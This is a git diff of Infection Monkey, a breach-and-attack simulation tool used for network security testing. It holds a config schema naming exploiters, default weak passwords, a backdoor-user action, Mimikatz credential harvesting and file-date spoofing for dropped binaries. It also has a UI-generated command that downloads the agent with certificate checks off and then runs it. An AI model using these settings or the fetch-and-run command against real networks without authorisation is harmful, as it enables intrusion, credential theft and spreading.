"type": "string", + "enum": [ + "HadoopExploiter" + ], + "title": "Hadoop/Yarn Exploiter" + } + ] + }, + "post_breach_acts": { + "title": "Post breach actions", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "BackdoorUser" + ], + "title": "Back door user", + }, + ], + }, + "finger_classes": { + "title": "Fingerprint class", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "SMBFinger" + ], + "title": "SMBFinger" + }, + { + "type": "string", + "enum": [ + "SSHFinger" + ], + "title": "SSHFinger" + }, + { + "type": "string", + "enum": [ + "PingScanner" + ], + "title": "PingScanner" + }, + { + "type": "string", + "enum": [ + "HTTPFinger" + ], + "title": "HTTPFinger" + }, + { + "type": "string", + "enum": [ + "MySQLFinger" + ], + "title": "MySQLFinger" + }, + { + "type": "string", + "enum": [ + "MSSQLFinger" + ], + "title": "MSSQLFinger" + }, + + { + "type": "string", + "enum": [ + "ElasticFinger" + ], + "title": "ElasticFinger" + } + ] + } + }, + "properties": { + "basic": { + "title": "Basic - Credentials", + "type": "object", + "properties": { + "credentials": { + "title": "Credentials", + "type": "object", + "properties": { + "exploit_user_list": { + "title": "Exploit user list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "Administrator", + "root", + "user" + ], + "description": "List of usernames to use on exploits using credentials" + }, + "exploit_password_list": { + "title": "Exploit password list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "Password1!", + "1234", + "password", + "12345678" + ], + "description": "List of password to use on exploits using credentials" + } + } + } + } + }, + "basic_network": { + "title": "Basic - Network", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "blocked_ips": { + "title": "Blocked IPs", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + ], + "description": "List of IPs to not scan" + }, + "local_network_scan": { + "title": "Local network scan", + "type": "boolean", + "default": True, + "description": "Determines whether the monkey should scan its subnets additionally" + }, + "depth": { + "title": "Distance from island", + "type": "integer", + "default": 2, + "description": + "Amount of hops allowed for the monkey to spread from the island. " + + WARNING_SIGN + + " Note that setting this value too high may result in the monkey propagating too far" + }, + "subnet_scan_list": { + "title": "Scan IP/subnet list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + ], + "description": + "List of IPs/subnets the monkey should scan." + " Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\"" + } + } + }, + "network_analysis": { + "title": "Network Analysis", + "type": "object", + "properties": { + "inaccessible_subnets": { + "title": "Network segmentation testing", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + ], + "description": + "Test for network segmentation by providing a list of" + " subnets that should NOT be accessible to each other." + " For example, given the following configuration:" + " '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'" + " a Monkey running on 10.0.0.5 will try to access machines in the following" + " subnets: 11.0.0.2/32, 12.2.3.0/24." + " An alert on successful connections will be shown in the report" + " Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5" + } + } + } + } + }, + "monkey": { + "title": "Monkey", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "alive": { + "title": "Alive", + "type": "boolean", + "default": True, + "description": "Is the monkey alive" + }, + "post_breach_actions": { + "title": "Post breach actions", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/post_breach_acts" + }, + "default": [ + "BackdoorUser", + ], + "description": "List of actions the Monkey will run post breach" + }, + } + }, + "behaviour": { + "title": "Behaviour", + "type": "object", + "properties": { + "self_delete_in_cleanup": { + "title": "Self delete on cleanup", + "type": "boolean", + "default": False, + "description": "Should the monkey delete its executable when going down" + }, + "use_file_logging": { + "title": "Use file logging", + "type": "boolean", + "default": True, + "description": "Should the monkey dump to a log file" + }, + "serialize_config": { + "title": "Serialize config", + "type": "boolean", + "default": False, + "description": "Should the monkey dump its config on startup" + } + } + }, + "system_info": { + "title": "System info", + "type": "object", + "properties": { + "extract_azure_creds": { + "title": "Harvest Azure Credentials", + "type": "boolean", + "default": True, + "description": + "Determine if the Monkey should try to harvest password credentials from Azure VMs" + }, + "collect_system_info": { + "title": "Collect system info", + "type": "boolean", + "default": True, + "description": "Determines whether to collect system info" + }, + "should_use_mimikatz": { + "title": "Should use Mimikatz", + "type": "boolean", + "default": True, + "description": "Determines whether to use Mimikatz" + }, + } + }, + "life_cycle": { + "title": "Life cycle", + "type": "object", + "properties": { + "max_iterations": { + "title": "Max iterations", + "type": "integer", + "default": 1, + "description": "Determines how many iterations of the monkey's full lifecycle should occur" + }, + "victims_max_find": { + "title": "Max victims to find", + "type": "integer", + "default": 30, + "description": "Determines the maximum number of machines the monkey is allowed to scan" + }, + "victims_max_exploit": { + "title": "Max victims to exploit", + "type": "integer", + "default": 7, + "description": + "Determines the maximum number of machines the monkey" + " is allowed to successfully exploit. " + WARNING_SIGN + + " Note that setting this value too high may result in the monkey propagating to " + "a high number of machines" + }, + "timeout_between_iterations": { + "title": "Wait time between iterations", + "type": "integer", + "default": 100, + "description": + "Determines for how long (in seconds) should the monkey wait between iterations" + }, + "retry_failed_explotation": { + "title": "Retry failed exploitation", + "type": "boolean", + "default": True, + "description": + "Determines whether the monkey should retry exploiting machines" + " it didn't successfuly exploit on previous iterations" + } + } + } + } + }, + "internal": { + "title": "Internal", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "singleton_mutex_name": { + "title": "Singleton mutex name", + "type": "string", + "default": "{2384ec59-0df8-4ab9-918c-843740924a28}", + "description": + "The name of the mutex used to determine whether the monkey is already running" + }, + "keep_tunnel_open_time": { + "title": "Keep tunnel open time", + "type": "integer", + "default": 60, + "description": "Time to keep tunnel open before going down after last exploit (in seconds)" + } + } + }, + "classes": { + "title": "Classes", + "type": "object", + "properties": { + "finger_classes": { + "title": "Fingerprint classes", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/finger_classes" + }, + "default": [ + "SMBFinger", + "SSHFinger", + "PingScanner", + "HTTPFinger", + "MySQLFinger", + "MSSQLFinger", + "ElasticFinger" + ], + "description": "Determines which classes to use for fingerprinting" + } + } + }, + "kill_file": { + "title": "Kill file", + "type": "object", + "properties": { + "kill_file_path_windows": { + "title": "Kill file path on Windows", + "type": "string", + "default": "%windir%\\monkey.not", + "description": "Path of file which kills monkey if it exists (on Windows)" + }, + "kill_file_path_linux": { + "title": "Kill file path on Linux", + "type": "string", + "default": "/var/run/monkey.not", + "description": "Path of file which kills monkey if it exists (on Linux)" + } + } + }, + "dropper": { + "title": "Dropper", + "type": "object", + "properties": { + "dropper_set_date": { + "title": "Dropper sets date", + "type": "boolean", + "default": True, + "description": + "Determines whether the dropper should set the monkey's file date to be the same as" + " another file" + }, + "dropper_date_reference_path_windows": { + "title": "Dropper date reference path (Windows)", + "type": "string", + "default": "%windir%\\system32\\kernel32.dll", + "description": + "Determines which file the dropper should copy the date from if it's configured to do" + " so on Windows (use fullpath)" + }, + "dropper_date_reference_path_linux": { + "title": "Dropper date reference path (Linux)", + "type": "string", + "default": "/bin/sh", + "description": + "Determines which file the dropper should copy the date from if it's configured to do" + " so on Linux (use fullpath)" + }, + "dropper_target_path_linux": { + "title": "Dropper target path on Linux", + "type": "string", + "default": "/tmp/monkey", + "description": "Determines where should the dropper place the monkey on a Linux machine" + }, + "dropper_target_path_win_32": { + "title": "Dropper target path on Windows (32bit)", + "type": "string", + "default": "C:\\Windows\\monkey32.exe", + "description": "Determines where should the dropper place the monkey on a Windows machine " + "(32bit)" + }, + "dropper_target_path_win_64": { + "title": "Dropper target path on Windows (64bit)", + "type": "string", + "default": "C:\\Windows\\monkey64.exe", + "description": "Determines where should the dropper place the monkey on a Windows machine " + "(64 bit)" + }, + "dropper_try_move_first": { + "title": "Try to move first", + "type": "boolean", + "default": True, + "description": + "Determines whether the dropper should try to move itsel instead of copying itself" + " to target path" + } + } + }, + "logging": { + "title": "Logging", + "type": "object", + "properties": { + "dropper_log_path_linux": { + "title": "Dropper log file path on Linux", + "type": "string", + "default": "/tmp/user-1562", + "description": "The fullpath of the dropper log file on Linux" + }, + "dropper_log_path_windows": { + "title": "Dropper log file path on Windows", + "type": "string", + "default": "%temp%\\~df1562.tmp", + "description": "The fullpath of the dropper log file on Windows" + }, + "monkey_log_path_linux": { + "title": "Monkey log file path on Linux", + "type": "string", + "default": "/tmp/user-1563", + "description": "The fullpath of the monkey log file on Linux" + }, + "monkey_log_path_windows": { + "title": "Monkey log file path on Windows", + "type": "string", + "default": "%temp%\\~df1563.tmp", + "description": "The fullpath of the monkey log file on Windows" + }, + "send_log_to_server": { + "title": "Send log to server", + "type": "boolean", + "default": True, + "description": "Determines whether the monkey sends its log to the Monkey Island server" + } + } + }, + "exploits": { + "title": "Exploits", + "type": "object", + "properties": { + "exploit_lm_hash_list": { + "title": "Exploit LM hash list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [], + "description": "List of LM hashes to use on exploits using credentials" + }, + "exploit_ntlm_hash_list": { + "title": "Exploit NTLM hash list", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [], + "description": "List of NTLM hashes to use on exploits using credentials" + }, + "exploit_ssh_keys": { + "title": "SSH key pairs list", + "type": "array", + "uniqueItems": True, + "default": [], + "items": { + "type": "string" + }, + "description": "List of SSH key pairs to use, when trying to ssh into servers" + } + } + } + } + }, + "cnc": { + "title": "Monkey Island", + "type": "object", + "properties": { + "servers": { + "title": "Servers", + "type": "object", + "properties": { + "command_servers": { + "title": "Command servers", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "192.0.2.0:5000" + ], + "description": "List of command servers to try and communicate with (format is :)" + }, + "internet_services": { + "title": "Internet services", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "monkey.guardicore.com", + "www.google.com" + ], + "description": + "List of internet services to try and communicate with to determine internet" + " connectivity (use either ip or domain)" + }, + "current_server": { + "title": "Current server", + "type": "string", + "default": "192.0.2.0:5000", + "description": "The current command server the monkey is communicating with" + } + } + }, + 'aws_config': { + 'title': 'AWS Configuration', + 'type': 'object', + 'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.', + 'properties': { + 'aws_account_id': { + 'title': 'AWS account ID', + 'type': 'string', + 'description': 'Your AWS account ID that is subscribed to security hub feeds', + 'default': '' + }, + 'aws_access_key_id': { + 'title': 'AWS access key ID', + 'type': 'string', + 'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.', + 'default': '' + }, + 'aws_secret_access_key': { + 'title': 'AWS secret access key', + 'type': 'string', + 'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.', + 'default': '' + } + } + } + } + }, + "exploits": { + "title": "Exploits", + "type": "object", + "properties": { + "general": { + "title": "General", + "type": "object", + "properties": { + "exploiter_classes": { + "title": "Exploits", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/exploiter_classes" + }, + "default": [ + "SmbExploiter", + "WmiExploiter", + "MSSQLExploiter", + "SSHExploiter", + "ShellShockExploiter", + "SambaCryExploiter", + "ElasticGroovyExploiter", + "Struts2Exploiter", + "WebLogicExploiter", + "HadoopExploiter" + ], + "description": + "Determines which exploits to use. " + WARNING_SIGN + + " Note that using unsafe exploits may cause crashes of the exploited machine/service" + }, + "skip_exploit_if_file_exist": { + "title": "Skip exploit if file exists", + "type": "boolean", + "default": False, + "description": "Determines whether the monkey should skip the exploit if the monkey's file" + " is already on the remote machine" + } + } + }, + "ms08_067": { + "title": "MS08_067", + "type": "object", + "properties": { + "ms08_067_exploit_attempts": { + "title": "MS08_067 exploit attempts", + "type": "integer", + "default": 5, + "description": "Number of attempts to exploit using MS08_067" + }, + "user_to_add": { + "title": "Remote user", + "type": "string", + "default": "Monkey_IUSER_SUPPORT", + "description": "Username to add on successful exploit" + }, + "remote_user_pass": { + "title": "Remote user password", + "type": "string", + "default": "Password1!", + "description": "Password to use for created user" + } + } + }, + "rdp_grinder": { + "title": "RDP grinder", + "type": "object", + "properties": { + "rdp_use_vbs_download": { + "title": "Use VBS download", + "type": "boolean", + "default": True, + "description": "Determines whether to use VBS or BITS to download monkey to remote machine" + " (true=VBS, false=BITS)" + } + } + }, + "sambacry": { + "title": "SambaCry", + "type": "object", + "properties": { + "sambacry_trigger_timeout": { + "title": "SambaCry trigger timeout", + "type": "integer", + "default": 5, + "description": "Timeout (in seconds) of SambaCry trigger" + }, + "sambacry_folder_paths_to_guess": { + "title": "SambaCry folder paths to guess", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + '/', + '/mnt', + '/tmp', + '/storage', + '/export', + '/share', + '/shares', + '/home' + ], + "description": "List of full paths to share folder for SambaCry to guess" + }, + "sambacry_shares_not_to_check": { + "title": "SambaCry shares not to check", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string" + }, + "default": [ + "IPC$", "print$" + ], + "description": "These shares won't be checked when exploiting with SambaCry" + } + } + }, + "smb_service": { + "title": "SMB service", + "type": "object", + "properties": { + "smb_download_timeout": { + "title": "SMB download timeout", + "type": "integer", + "default": 300, + "description": + "Timeout (in seconds) for SMB download operation (used in various exploits using SMB)" + }, + "smb_service_name": { + "title": "SMB service name", + "type": "string", + "default": "InfectionMonkey", + "description": "Name of the SMB service that will be set up to download monkey" + } + } + } + } + }, + "network": { + "title": "Network", + "type": "object", + "properties": { + "tcp_scanner": { + "title": "TCP scanner", + "type": "object", + "properties": { + "HTTP_PORTS": { + "title": "HTTP ports", + "type": "array", + "uniqueItems": True, + "items": { + "type": "integer" + }, + "default": [ + 80, + 8080, + 443, + 8008, + 7001 + ], + "description": "List of ports the monkey will check if are being used for HTTP" + }, + "tcp_target_ports": { + "title": "TCP target ports", + "type": "array", + "uniqueItems": True, + "items": { + "type": "integer" + }, + "default": [ + 22, + 2222, + 445, + 135, + 3389, + 80, + 8080, + 443, + 8008, + 3306, + 9200, + 7001 + ], + "description": "List of TCP ports the monkey will check whether they're open" + }, + "tcp_scan_interval": { + "title": "TCP scan interval", + "type": "integer", + "default": 0, + "description": "Time to sleep (in milliseconds) between scans" + }, + "tcp_scan_timeout": { + "title": "TCP scan timeout", + "type": "integer", + "default": 3000, + "description": "Maximum time (in milliseconds) to wait for TCP response" + }, + "tcp_scan_get_banner": { + "title": "TCP scan - get banner", + "type": "boolean", + "default": True, + "description": "Determines whether the TCP scan should try to get the banner" + } + } + }, + "ping_scanner": { + "title": "Ping scanner", + "type": "object", + "properties": { + "ping_scan_timeout": { + "title": "Ping scan timeout", + "type": "integer", + "default": 1000, + "description": "Maximum time (in milliseconds) to wait for ping response" + } + } + } + } + } + }, + "options": { + "collapsed": True + } +} diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 1f9b68ebe..50c921be8 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -6,6 +6,7 @@ import cc.services.log from cc.database import mongo from cc.services.edge import EdgeService from cc.utils import local_ip_addresses +import socket __author__ = "itay.mizeretz" @@ -41,6 +42,7 @@ class NodeService: # node is uninfected new_node = NodeService.node_to_net_node(node, for_report) new_node["ip_addresses"] = node["ip_addresses"] + new_node["domain_name"] = node["domain_name"] for edge in edges: accessible_from_nodes.append(NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"]))) @@ -62,7 +64,10 @@ class NodeService: @staticmethod def get_node_label(node): - return node["os"]["version"] + " : " + node["ip_addresses"][0] + domain_name = "" + if node["domain_name"]: + domain_name = " ("+node["domain_name"]+")" + return node["os"]["version"] + " : " + node["ip_addresses"][0] + domain_name @staticmethod def _cmp_exploits_by_timestamp(exploit_1, exploit_2): @@ -137,6 +142,7 @@ class NodeService: "group": NodeService.get_monkey_group(monkey), "os": NodeService.get_monkey_os(monkey), "dead": monkey["dead"], + "domain_name": "" } @staticmethod @@ -176,10 +182,11 @@ class NodeService: upsert=False) @staticmethod - def insert_node(ip_address): + def insert_node(ip_address, domain_name=''): new_node_insert_result = mongo.db.node.insert_one( { "ip_addresses": [ip_address], + "domain_name": domain_name, "exploited": False, "creds": [], "os": @@ -191,10 +198,10 @@ class NodeService: return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) @staticmethod - def get_or_create_node(ip_address): + def get_or_create_node(ip_address, domain_name=''): new_node = mongo.db.node.find_one({"ip_addresses": ip_address}) if new_node is None: - new_node = NodeService.insert_node(ip_address) + new_node = NodeService.insert_node(ip_address, domain_name) return new_node @staticmethod @@ -261,6 +268,7 @@ class NodeService: def get_monkey_island_node(): island_node = NodeService.get_monkey_island_pseudo_net_node() island_node["ip_addresses"] = local_ip_addresses() + island_node["domain_name"] = socket.gethostname() return island_node @staticmethod diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index bd03fb78c..73ca69b5b 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -3,13 +3,14 @@ import functools import ipaddress import logging + +from bson import json_util from enum import Enum from six import text_type from cc.database import mongo -from cc.environment.environment import load_env_from_file, AWS -from cc.resources.aws_exporter import AWSExporter +from cc.report_exporter_manager import ReportExporterManager from cc.services.config import ConfigService from cc.services.edge import EdgeService from cc.services.node import NodeService @@ -39,7 +40,8 @@ class ReportService: 'ShellShockExploiter': 'ShellShock Exploiter', 'Struts2Exploiter': 'Struts2 Exploiter', 'WebLogicExploiter': 'Oracle WebLogic Exploiter', - 'HadoopExploiter': 'Hadoop/Yarn Exploiter' + 'HadoopExploiter': 'Hadoop/Yarn Exploiter', + 'MSSQLExploiter': 'MSSQL Exploiter' } class ISSUES_DICT(Enum): @@ -54,7 +56,8 @@ class ReportService: STRUTS2 = 8 WEBLOGIC = 9 HADOOP = 10 - PTH_CRIT_SERVICES_ACCESS = 11 + PTH_CRIT_SERVICES_ACCESS = 11, + MSSQL = 12 class WARNINGS_DICT(Enum): CROSS_SEGMENT = 0 @@ -128,7 +131,8 @@ class ReportService: list((x['hostname'] for x in (NodeService.get_displayed_node_by_id(edge['from'], True) for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))), - 'services': node['services'] + 'services': node['services'], + 'domain_name': node['domain_name'] }) logger.info('Scanned nodes generated for reporting') @@ -148,6 +152,7 @@ class ReportService: { 'label': monkey['label'], 'ip_addresses': monkey['ip_addresses'], + 'domain_name': monkey['domain_name'], 'exploits': list(set( [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if exploit['result']])) @@ -328,6 +333,12 @@ class ReportService: processed_exploit['type'] = 'hadoop' return processed_exploit + @staticmethod + def process_mssql_exploit(exploit): + processed_exploit = ReportService.process_general_exploit(exploit) + processed_exploit['type'] = 'mssql' + return processed_exploit + @staticmethod def process_exploit(exploit): exploiter_type = exploit['data']['exploiter'] @@ -342,7 +353,8 @@ class ReportService: 'ShellShockExploiter': ReportService.process_shellshock_exploit, 'Struts2Exploiter': ReportService.process_struts2_exploit, 'WebLogicExploiter': ReportService.process_weblogic_exploit, - 'HadoopExploiter': ReportService.process_hadoop_exploit + 'HadoopExploiter': ReportService.process_hadoop_exploit, + 'MSSQLExploiter': ReportService.process_mssql_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @@ -570,6 +582,7 @@ class ReportService: PTHReportService.get_duplicated_passwords_issues, PTHReportService.get_strong_users_on_crit_issues ] + issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) issues_dict = {} @@ -642,6 +655,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True elif issue['type'] == 'weblogic': issues_byte_array[ReportService.ISSUES_DICT.WEBLOGIC.value] = True + elif issue['type'] == 'mssql': + issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True elif issue['type'] == 'hadoop': issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ @@ -677,9 +692,7 @@ class ReportService: @staticmethod def is_report_generated(): generated_report = mongo.db.report.find_one({}) - if generated_report is None: - return False - return True + return generated_report is not None @staticmethod def generate_report(): @@ -726,14 +739,29 @@ class ReportService: 'latest_monkey_modifytime': monkey_latest_modify_time } } - ReportService.export_to_exporters(report) + ReportExporterManager().export(report) mongo.db.report.drop() - mongo.db.report.insert_one(report) + mongo.db.report.insert_one(ReportService.encode_dot_char_before_mongo_insert(report)) return report + @staticmethod + def encode_dot_char_before_mongo_insert(report_dict): + """ + mongodb doesn't allow for '.' and '$' in a key's name, this function replaces the '.' char with the unicode + ,,, combo instead. + :return: dict with formatted keys with no dots. + """ + report_as_json = json_util.dumps(report_dict).replace('.', ',,,') + return json_util.loads(report_as_json) + + @staticmethod def is_latest_report_exists(): + """ + This function checks if a monkey report was already generated and if it's the latest one. + :return: True if report is the latest one, False if there isn't a report or its not the latest. + """ latest_report_doc = mongo.db.report.find_one({}, {'meta.latest_monkey_modifytime': 1}) if latest_report_doc: @@ -743,10 +771,19 @@ class ReportService: return False + @staticmethod + def decode_dot_char_before_mongo_insert(report_dict): + """ + this function replaces the ',,,' combo with the '.' char instead. + :return: report dict with formatted keys (',,,' -> '.') + """ + report_as_json = json_util.dumps(report_dict).replace(',,,', '.') + return json_util.loads(report_as_json) + @staticmethod def get_report(): if ReportService.is_latest_report_exists(): - return mongo.db.report.find_one() + return ReportService.decode_dot_char_before_mongo_insert(mongo.db.report.find_one()) return ReportService.generate_report() @staticmethod @@ -754,16 +791,3 @@ class ReportService: return mongo.db.edge.count( {'exploits': {'$elemMatch': {'exploiter': exploit_type, 'result': True}}}, limit=1) > 0 - - @staticmethod - def get_active_exporters(): - # This function should be in another module in charge of building a list of active exporters - exporters_list = [] - if str(load_env_from_file()) == AWS: - exporters_list.append(AWSExporter) - return exporters_list - - @staticmethod - def export_to_exporters(report): - for exporter in ReportService.get_active_exporters(): - exporter.handle_report(report) diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py index 5842ae5c6..fec12c152 100644 --- a/monkey/monkey_island/cc/services/wmi_handler.py +++ b/monkey/monkey_island/cc/services/wmi_handler.py @@ -13,11 +13,18 @@ class WMIHandler(object): self.monkey_id = monkey_id self.info_for_mongo = {} self.users_secrets = user_secrets - self.users_info = wmi_info['Win32_UserAccount'] - self.groups_info = wmi_info['Win32_Group'] - self.groups_and_users = wmi_info['Win32_GroupUser'] - self.services = wmi_info['Win32_Service'] - self.products = wmi_info['Win32_Product'] + if not wmi_info: + self.users_info = "" + self.groups_info = "" + self.groups_and_users = "" + self.services = "" + self.products = "" + else: + self.users_info = wmi_info['Win32_UserAccount'] + self.groups_info = wmi_info['Win32_Group'] + self.groups_and_users = wmi_info['Win32_GroupUser'] + self.services = wmi_info['Win32_Service'] + self.products = wmi_info['Win32_Product'] def process_and_handle_wmi_info(self): @@ -25,7 +32,8 @@ class WMIHandler(object): self.add_users_to_collection() self.create_group_user_connection() self.insert_info_to_mongo() - self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id) + if self.info_for_mongo: + self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id) self.update_admins_retrospective() self.update_critical_services() diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 61e80737b..b5ab30581 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -29,7 +29,8 @@ class ReportPageComponent extends AuthComponent { STRUTS2: 8, WEBLOGIC: 9, HADOOP: 10, - PTH_CRIT_SERVICES_ACCESS: 11 + PTH_CRIT_SERVICES_ACCESS: 11, + MSSQL: 12 }; Warning = @@ -104,7 +105,7 @@ class ReportPageComponent extends AuthComponent { .then(res => res.json()) .then(res => { res.edges.forEach(edge => { - edge.color = edgeGroupToColor(edge.group); + edge.color = {'color': edgeGroupToColor(edge.group)}; }); this.setState({graph: res}); this.props.onStatusChange(); @@ -341,6 +342,8 @@ class ReportPageComponent extends AuthComponent {
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • : null } {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
  • Mimikatz found login credentials of a user who has admin access to a server defined as critical.
  • : null } + {this.state.report.overview.issues[this.Issue.MSSQL] ? +
  • MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.
  • : null } : @@ -412,7 +415,6 @@ class ReportPageComponent extends AuthComponent {
    {this.generateIssues(this.state.report.recommendations.issues)}
    - ); } @@ -867,7 +869,23 @@ class ReportPageComponent extends AuthComponent { ); } - +generateMSSQLIssue(issue) { + return( +
  • + Disable the xp_cmdshell option. + + The machine {issue.machine} ({issue.ip_address}) is vulnerable to a MSSQL exploit attack. +
    + The attack was made possible because the target machine used an outdated MSSQL server configuration allowing + the usage of the xp_cmdshell command. To learn more about how to disable this feature, read + Microsoft's documentation. +
    +
  • + ); + } generateIssue = (issue) => { let data; @@ -935,6 +953,9 @@ class ReportPageComponent extends AuthComponent { case 'hadoop': data = this.generateHadoopIssue(issue); break; + case 'mssql': + data = this.generateMSSQLIssue(issue); + break; } return data; }; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js index 4543a5c34..5c93065c4 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js @@ -52,7 +52,7 @@ class RunMonkeyPageComponent extends AuthComponent { generateLinuxCmd(ip, is32Bit) { let bitText = is32Bit ? '32' : '64'; - return `curl -O -k https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000` + return `wget --no-check-certificate https://${ip}:5000/api/monkey/download/monkey-linux-${bitText}; chmod +x monkey-linux-${bitText}; ./monkey-linux-${bitText} m0nk3y -s ${ip}:5000` } generateWindowsCmd(ip, is32Bit) { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js index d23a14c38..16f445ce9 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js @@ -5,12 +5,17 @@ let renderArray = function(val) { return
    {val.map(x =>
    {x}
    )}
    ; }; +let renderIpAddresses = function (val) { + return
    {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
    ; +}; + const columns = [ { Header: 'Breached Servers', columns: [ {Header: 'Machine', accessor: 'label'}, - {Header: 'IP Addresses', id: 'ip_addresses', accessor: x => renderArray(x.ip_addresses)}, + {Header: 'IP Addresses', id: 'ip_addresses', + accessor: x => renderIpAddresses(x)}, {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)} ] } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js index 9b62bbdc5..57418e415 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js @@ -5,12 +5,17 @@ let renderArray = function(val) { return
    {val.map(x =>
    {x}
    )}
    ; }; +let renderIpAddresses = function (val) { + return
    {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
    ; +}; + const columns = [ { Header: 'Scanned Servers', columns: [ { Header: 'Machine', accessor: 'label'}, - { Header: 'IP Addresses', id: 'ip_addresses', accessor: x => renderArray(x.ip_addresses)}, + { Header: 'IP Addresses', id: 'ip_addresses', + accessor: x => renderIpAddresses(x)}, { Header: 'Accessible From', id: 'accessible_from_nodes', accessor: x => renderArray(x.accessible_from_nodes)}, { Header: 'Services', id: 'services', accessor: x => renderArray(x.services)} ] diff --git a/monkey/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh index 6770e2922..c72b5f3b9 100644 --- a/monkey/monkey_island/linux/run.sh +++ b/monkey/monkey_island/linux/run.sh @@ -2,4 +2,4 @@ cd /var/monkey /var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db & -/var/monkey/monkey_island/bin/python/bin/python monkey_island/cc/main.py \ No newline at end of file +/var/monkey/monkey_island/bin/python/bin/python monkey_island.py \ No newline at end of file diff --git a/monkey/monkey_island/readme.txt b/monkey/monkey_island/readme.txt index 8f6095c7e..64cefcd36 100644 --- a/monkey/monkey_island/readme.txt +++ b/monkey/monkey_island/readme.txt @@ -1,3 +1,6 @@ +To get development versions of Monkey Island and Monkey look into deployment scripts folder. +If you only want to run the software from source you may refer to the instructions below. + How to set up the Monkey Island server: ---------------- On Windows ----------------: diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index f094df947..858642d19 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -14,4 +14,5 @@ netifaces ipaddress enum34 PyCrypto -boto3 \ No newline at end of file +boto3 +awscli \ No newline at end of file